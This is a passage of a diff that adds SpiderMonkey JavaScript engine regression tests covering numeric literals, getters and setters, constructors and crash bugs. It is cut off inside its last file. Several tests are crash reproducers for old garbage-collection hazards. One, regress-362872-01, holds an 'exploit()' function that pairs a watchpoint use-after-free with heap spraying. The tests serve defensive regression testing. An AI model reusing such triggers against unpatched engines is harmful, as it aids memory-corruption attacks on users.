+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-352606.js b/js/src/tests/js1_5/GC/regress-352606.js
new file mode 100644
index 000000000..b29c501fd
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-352606.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352606;
+var summary = 'Do not crash involving post decrement';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ y = ({toString: gc}); new Function("y--;")()
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-383269-01.js b/js/src/tests/js1_5/GC/regress-383269-01.js
new file mode 100644
index 000000000..43f6a15fa
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-383269-01.js
@@ -0,0 +1,62 @@
+// |reftest| skip -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Leak related to arguments object';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generate_big_object_graph()
+ {
+ var root = {};
+ f(root, 17);
+ return root;
+ function f(parent, depth) {
+ if (depth == 0)
+ return;
+ --depth;
+ f(parent.a = {}, depth);
+ f(parent.b = {}, depth);
+ }
+ }
+
+ function outer() { var x = arguments; return function inner() { return x }; }
+
+ function timed_gc()
+ {
+ var t1 = Date.now();
+ gc();
+ return Date.now() - t1;
+ }
+
+ outer(1);
+ gc();
+ var base_time = timed_gc();
+
+ var f = outer(generate_big_object_graph());
+ f = null;
+ gc();
+ var time = timed_gc();
+
+ if (time > (base_time + 1) * 3)
+ actual = "generate_big_object_graph() leaked, base_gc_time="+base_time+", last_gc_time="+time;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-383269-02.js b/js/src/tests/js1_5/GC/regress-383269-02.js
new file mode 100644
index 000000000..9ce0e44a0
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-383269-02.js
@@ -0,0 +1,66 @@
+// |reftest| skip -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Leak related to arguments object';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generate_big_object_graph()
+ {
+ var root = {};
+ f(root, 17);
+ return root;
+ function f(parent, depth) {
+ if (depth == 0)
+ return;
+ --depth;
+ f(parent.a = {}, depth);
+ f(parent.b = {}, depth);
+ }
+ }
+
+ function f(obj) {
+ with (obj)
+ return arguments;
+ }
+
+ function timed_gc()
+ {
+ var t1 = Date.now();
+ gc();
+ return Date.now() - t1;
+ }
+
+ var x = f({});
+ x = null;
+ gc();
+ var base_time = timed_gc();
+
+ x = f(generate_big_object_graph());
+ x = null;
+ gc();
+ var time = timed_gc();
+
+ if (time > (base_time + 10) * 3)
+ actual = "generate_big_object_graph() leaked, base_gc_time="+base_time+", last_gc_time="+time;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-390078.js b/js/src/tests/js1_5/GC/regress-390078.js
new file mode 100644
index 000000000..4a86d84ff
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-390078.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390078;
+var summary = 'GC hazard with JSstackFrame.argv[-1]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = new Array(10*1000);
+ a[0] = { toString: function() { gc(); return ".*9"; }};;
+ a[1] = "g";
+
+ for (var i = 0; i != 10*1000; ++i) {
+ String(new Number(123456789));
+ }
+
+ "".match.apply(123456789, a);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-418128.js b/js/src/tests/js1_5/GC/regress-418128.js
new file mode 100644
index 000000000..0642e83dc
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-418128.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418128;
+var summary = 'GC hazard with ++/--';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {};
+ var id = { toString: function() { return ""+Math.pow(2, 0.1); } }
+ obj[id] = { valueOf: unrooter };
+ print(obj[id]++);
+ gc();
+ print(uneval(obj));
+
+ function unrooter()
+ {
+ delete obj[id];
+ gc();
+ return 10;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GC/regress-440558.js b/js/src/tests/js1_5/GC/regress-440558.js
new file mode 100644
index 000000000..b36d01ba5
--- /dev/null
+++ b/js/src/tests/js1_5/GC/regress-440558.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 440558;
+var summary = 'Do not assert: *flagp != GCF_FINAL';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('Note: this test requires that javascript.options.gczeal ' +
+ 'be set to 2 prior to the browser start');
+
+ m = function(a, b) {
+ if (++i < 10) {
+ }
+ };
+ e = function(a, b) {
+ };
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/GC/shell.js b/js/src/tests/js1_5/GC/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/GC/shell.js
diff --git a/js/src/tests/js1_5/GetSet/browser.js b/js/src/tests/js1_5/GetSet/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/GetSet/browser.js
diff --git a/js/src/tests/js1_5/GetSet/getset-002.js b/js/src/tests/js1_5/GetSet/getset-002.js
new file mode 100644
index 000000000..9790142fd
--- /dev/null
+++ b/js/src/tests/js1_5/GetSet/getset-002.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var t = {
+ _y: "<initial y>",
+
+ get y()
+ {
+ var rv;
+ if (typeof this._y == "string")
+ rv = "got " + this._y;
+ else
+ rv = this._y;
+
+ return rv;
+ },
+
+ set y(newVal)
+ {
+ this._y = newVal;
+ }
+}
+
+
+ test(t);
+
+function test(t)
+{
+ enterFunc ("test");
+
+ printStatus ("Basic Getter/ Setter test (object literal notation)");
+
+ reportCompare ("<initial y>", t._y, "y prototype check");
+
+ reportCompare ("got <initial y>", t.y, "y getter, before set");
+
+ t.y = "new y";
+ reportCompare ("got new y", t.y, "y getter, after set");
+
+ t.y = 2;
+ reportCompare (2, t.y, "y getter, after numeric set");
+
+ var d = new Date();
+ t.y = d;
+ reportCompare (d, t.y, "y getter, after date set");
+
+}
diff --git a/js/src/tests/js1_5/GetSet/regress-353264.js b/js/src/tests/js1_5/GetSet/regress-353264.js
new file mode 100644
index 000000000..231cda01f
--- /dev/null
+++ b/js/src/tests/js1_5/GetSet/regress-353264.js
@@ -0,0 +1,18 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353264;
+var summary = 'Do not crash defining getter';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.x getter= function () { }; export x; x;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/GetSet/regress-375976.js b/js/src/tests/js1_5/GetSet/regress-375976.js
new file mode 100644
index 000000000..9d8502d1b
--- /dev/null
+++ b/js/src/tests/js1_5/GetSet/regress-375976.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375976;
+var summary = 'Do not crash with postincrement custom property';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.__defineSetter__('x', gc);
+ this.__defineGetter__('x', Math.sin);
+ x = x++;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/GetSet/shell.js b/js/src/tests/js1_5/GetSet/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/GetSet/shell.js
diff --git a/js/src/tests/js1_5/LexicalConventions/browser.js b/js/src/tests/js1_5/LexicalConventions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/LexicalConventions/browser.js
diff --git a/js/src/tests/js1_5/LexicalConventions/lexical-001.js b/js/src/tests/js1_5/LexicalConventions/lexical-001.js
new file mode 100644
index 000000000..47d049aaa
--- /dev/null
+++ b/js/src/tests/js1_5/LexicalConventions/lexical-001.js
@@ -0,0 +1,149 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Date: 26 November 2000
+ *
+ *SUMMARY: Testing numeric literals that begin with 0.
+ *This test arose from Bugzilla bug 49233.
+ *The best explanation is from jsscan.c:
+ *
+ * "We permit 08 and 09 as decimal numbers, which makes
+ * our behaviour a superset of the ECMA numeric grammar.
+ * We might not always be so permissive, so we warn about it."
+ *
+ *Thus an expression 010 will evaluate, as always, as an octal (to 8).
+ *However, 018 will evaluate as a decimal, to 18. Even though the
+ *user began the expression as an octal, he later used a non-octal
+ *digit. We forgive this and assume he intended a decimal. If the
+ *JavaScript "strict" option is set though, we will give a warning.
+ */
+
+//-------------------------------------------------------------------------------------------------
+var BUGNUMBER = '49233';
+var summary = 'Testing numeric literals that begin with 0';
+var statprefix = 'Testing ';
+var quote = "'";
+var asString = new Array();
+var actual = new Array();
+var expect = new Array();
+
+
+ asString[0]='01'
+ actual[0]=01
+ expect[0]=1
+
+ asString[1]='07'
+ actual[1]=07
+ expect[1]=7
+
+ asString[2]='08'
+ actual[2]=08
+ expect[2]=8
+
+ asString[3]='09'
+ actual[3]=09
+ expect[3]=9
+
+ asString[4]='010'
+ actual[4]=010
+ expect[4]=8
+
+ asString[5]='017'
+ actual[5]=017
+ expect[5]=15
+
+ asString[6]='018'
+ actual[6]=018
+ expect[6]=18
+
+ asString[7]='019'
+ actual[7]=019
+ expect[7]=19
+
+ asString[8]='079'
+ actual[8]=079
+ expect[8]=79
+
+ asString[9]='0079'
+ actual[9]=0079
+ expect[9]=79
+
+ asString[10]='099'
+ actual[10]=099
+ expect[10]=99
+
+ asString[11]='0099'
+ actual[11]=0099
+ expect[11]=99
+
+ asString[12]='000000000077'
+ actual[12]=000000000077
+ expect[12]=63
+
+ asString[13]='000000000078'
+ actual[13]=000000000078
+ expect[13]=78
+
+ asString[14]='0000000000770000'
+ actual[14]=0000000000770000
+ expect[14]=258048
+
+ asString[15]='0000000000780000'
+ actual[15]=0000000000780000
+ expect[15]=780000
+
+ asString[16]='0765432198'
+ actual[16]=0765432198
+ expect[16]=765432198
+
+ asString[17]='00076543219800'
+ actual[17]=00076543219800
+ expect[17]=76543219800
+
+ asString[18]='0000001001007'
+ actual[18]=0000001001007
+ expect[18]=262663
+
+ asString[19]='0000001001009'
+ actual[19]=0000001001009
+ expect[19]=1001009
+
+ asString[20]='070'
+ actual[20]=070
+ expect[20]=56
+
+ asString[21]='080'
+ actual[21]=080
+ expect[21]=80
+
+
+
+//-------------------------------------------------------------------------------------------------
+ test();
+//-------------------------------------------------------------------------------------------------
+
+
+function showStatus(msg)
+{
+ return (statprefix + quote + msg + quote);
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (i=0; i !=asString.length; i++)
+ {
+ reportCompare (expect[i], actual[i], showStatus(asString[i]));
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/LexicalConventions/regress-177314.js b/js/src/tests/js1_5/LexicalConventions/regress-177314.js
new file mode 100644
index 000000000..6f36402b6
--- /dev/null
+++ b/js/src/tests/js1_5/LexicalConventions/regress-177314.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Oct 2002
+ * SUMMARY: '\400' should lex as a 2-digit octal escape + '0'
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=177314
+ *
+ * Bug was that Rhino interpreted '\400' as a 3-digit octal escape. As such
+ * it is invalid, since octal escapes may only run from '\0' to '\377'. But
+ * the lexer should interpret this as '\40' + '0' instead, and throw no error.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 177314;
+var summary = "'\\" + "400' should lex as a 2-digit octal escape + '0'";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// the last valid octal escape is '\377', which should equal hex escape '\xFF'
+status = inSection(1);
+actual = '\377';
+expect = '\xFF';
+addThis();
+
+// now exercise the lexer by going one higher in the last digit
+status = inSection(2);
+actual = '\378';
+expect = '\37' + '8';
+addThis();
+
+// trickier: 400 is a valid octal number, but '\400' isn't a valid octal escape
+status = inSection(3);
+actual = '\400';
+expect = '\40' + '0';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/LexicalConventions/regress-469940.js b/js/src/tests/js1_5/LexicalConventions/regress-469940.js
new file mode 100644
index 000000000..cec1cb676
--- /dev/null
+++ b/js/src/tests/js1_5/LexicalConventions/regress-469940.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469940;
+var summary = 'Do not insert semi-colon after var with multiline initializer';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: missing ; before statement';
+
+ var s = 'var x = function f() { \n return 42; } print(x);';
+
+ try
+ {
+ eval(s);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/LexicalConventions/shell.js b/js/src/tests/js1_5/LexicalConventions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/LexicalConventions/shell.js
diff --git a/js/src/tests/js1_5/Object/browser.js b/js/src/tests/js1_5/Object/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/Object/browser.js
diff --git a/js/src/tests/js1_5/Object/regress-137000.js b/js/src/tests/js1_5/Object/regress-137000.js
new file mode 100644
index 000000000..8598a264d
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-137000.js
@@ -0,0 +1,206 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 June 2002
+ * SUMMARY: Function param or local var with same name as a function property
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=137000
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=138708
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=150032
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=150859
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 137000;
+var summary = 'Function param or local var with same name as a function prop';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Note use of 'x' both for the parameter to f,
+ * and as a property name for |f| as an object
+ */
+function f(x)
+{
+}
+
+status = inSection(1);
+f.x = 12;
+actual = f.x;
+expect = 12;
+addThis();
+
+
+
+/*
+ * A more elaborate example, using the call() method
+ * to chain constructors from child to parent.
+ *
+ * The key point is the use of the same name 'p' for both
+ * the parameter to the constructor, and as a property name
+ */
+function parentObject(p)
+{
+ this.p = 1;
+}
+
+function childObject()
+{
+ parentObject.call(this);
+}
+childObject.prototype = parentObject;
+
+status = inSection(2);
+var objParent = new parentObject();
+actual = objParent.p;
+expect = 1;
+addThis();
+
+status = inSection(3);
+var objChild = new childObject();
+actual = objChild.p;
+expect = 1;
+addThis();
+
+
+
+/*
+ * A similar set-up. Here the same name is being used for
+ * the parameter to both the Base and Child constructors,
+ */
+function Base(id)
+{
+}
+
+function Child(id)
+{
+ this.prop = id;
+}
+Child.prototype=Base;
+
+status = inSection(4);
+var c1 = new Child('child1');
+actual = c1.prop;
+expect = 'child1';
+addThis();
+
+
+
+/*
+ * Use same identifier as a property name, too -
+ */
+function BaseX(id)
+{
+}
+
+function ChildX(id)
+{
+ this.id = id;
+}
+ChildX.prototype=BaseX;
+
+status = inSection(5);
+c1 = new ChildX('child1');
+actual = c1.id;
+expect = 'child1';
+addThis();
+
+
+
+/*
+ * From http://bugzilla.mozilla.org/show_bug.cgi?id=150032
+ *
+ * Here the same name is being used both for a local variable
+ * declared in g(), and as a property name for |g| as an object
+ */
+function g()
+{
+ var propA = g.propA;
+ var propB = g.propC;
+
+ this.getVarA = function() {return propA;}
+ this.getVarB = function() {return propB;}
+}
+g.propA = 'A';
+g.propB = 'B';
+g.propC = 'C';
+var obj = new g();
+
+status = inSection(6);
+actual = obj.getVarA(); // this one was returning 'undefined'
+expect = 'A';
+addThis();
+
+status = inSection(7);
+actual = obj.getVarB(); // this one is easy; it never failed
+expect = 'C';
+addThis();
+
+
+
+/*
+ * By martin.honnen@gmx.de
+ * From http://bugzilla.mozilla.org/show_bug.cgi?id=150859
+ *
+ * Here the same name is being used for a local var in F
+ * and as a property name for |F| as an object
+ *
+ * Twist: the property is added via another function.
+ */
+function setFProperty(val)
+{
+ F.propA = val;
+}
+
+function F()
+{
+ var propA = 'Local variable in F';
+}
+
+status = inSection(8);
+setFProperty('Hello');
+actual = F.propA; // this was returning 'undefined'
+expect = 'Hello';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Object/regress-192105.js b/js/src/tests/js1_5/Object/regress-192105.js
new file mode 100644
index 000000000..3673b256d
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-192105.js
@@ -0,0 +1,149 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 February 2003
+ * SUMMARY: Using |instanceof| to check if function is called as a constructor
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192105
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192105;
+var summary = 'Using |instanceof| to check if f() is called as constructor';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * This function is the heart of the test. It sets the result
+ * variable |actual|, which we will compare against |expect|.
+ *
+ * Note |actual| will be set to |true| or |false| according
+ * to whether or not this function is called as a constructor;
+ * i.e. whether it is called via the |new| keyword or not -
+ */
+function f()
+{
+ actual = (this instanceof f);
+}
+
+
+/*
+ * Call f as a constructor from global scope
+ */
+status = inSection(1);
+new f(); // sets |actual|
+expect = true;
+addThis();
+
+/*
+ * Now, not as a constructor
+ */
+status = inSection(2);
+f(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Call f as a constructor from function scope
+ */
+function F()
+{
+ new f();
+}
+status = inSection(3);
+F(); // sets |actual|
+expect = true;
+addThis();
+
+/*
+ * Now, not as a constructor
+ */
+function G()
+{
+ f();
+}
+status = inSection(4);
+G(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Now make F() and G() methods of an object
+ */
+var obj = {F:F, G:G};
+status = inSection(5);
+obj.F(); // sets |actual|
+expect = true;
+addThis();
+
+status = inSection(6);
+obj.G(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Now call F() and G() from yet other functions, and use eval()
+ */
+function A()
+{
+ eval('F();');
+}
+status = inSection(7);
+A(); // sets |actual|
+expect = true;
+addThis();
+
+
+function B()
+{
+ eval('G();');
+}
+status = inSection(8);
+B(); // sets |actual|
+expect = false;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Object/regress-308806-01.js b/js/src/tests/js1_5/Object/regress-308806-01.js
new file mode 100644
index 000000000..8e0a66839
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-308806-01.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308806;
+var summary = 'Object.prototype.toLocaleString() should track Object.prototype.toString() ';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {toString: function() { return 'foo'; }};
+
+expect = o.toString();
+actual = o.toLocaleString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Object/regress-338709.js b/js/src/tests/js1_5/Object/regress-338709.js
new file mode 100644
index 000000000..ca82e7fbc
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-338709.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338709;
+var summary = 'ReadOnly properties should not be overwritten by using ' +
+ 'Object and try..throw..catch';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+Object = function () { return Math };
+expect = Math.LN2;
+try
+{
+ throw 1990;
+}
+catch (LN2)
+{
+}
+actual = Math.LN2;
+print("Math.LN2 = " + Math.LN2)
+ reportCompare(expect, actual, summary);
+
+var s = new String("abc");
+Object = function () { return s };
+expect = s.length;
+try
+{
+ throw -8
+ }
+catch (length)
+{
+}
+actual = s.length;
+print("length of '" + s + "' = " + s.length)
+ reportCompare(expect, actual, summary);
+
+var re = /xy/m;
+Object = function () { return re };
+expect = re.multiline;
+try
+{
+ throw false
+ }
+catch (multiline)
+{
+}
+actual = re.multiline;
+print("re.multiline = " + re.multiline)
+ reportCompare(expect, actual, summary);
+
+if ("document" in this) {
+ // Let the document be its own documentElement.
+ Object = function () { return document }
+ expect = document.documentElement + '';
+ try
+ {
+ throw document;
+ }
+ catch (documentElement)
+ {
+ }
+ actual = document.documentElement + '';
+ print("document.documentElement = " + document.documentElement)
+ }
+else
+ Object = this.constructor
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Object/regress-362872-01.js b/js/src/tests/js1_5/Object/regress-362872-01.js
new file mode 100644
index 000000000..0808ee82b
--- /dev/null
+++ b/js/src/tests/js1_5/Object/regress-362872-01.js
@@ -0,0 +1,41 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 362872;
+var summary = 'script should not drop watchpoint that is in use';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var rooter = {}, object = {}, filler1 = "", filler2 = "\u5555";
+ for(var i = 0; i < 32/2-2; i++) { filler1 += "\u5050"; }
+ object.watch("foo", function(){
+ object.unwatch("foo");
+ object.unwatch("foo");
+ for(var i = 0; i < 8 * 1024; i++) {
+ rooter[i] = filler1 + filler2;
+ }
+ });
+ object.foo = "bar";
+ }
+ exploit();
+
+
+ reportCompare(expect, actual, summary);
+
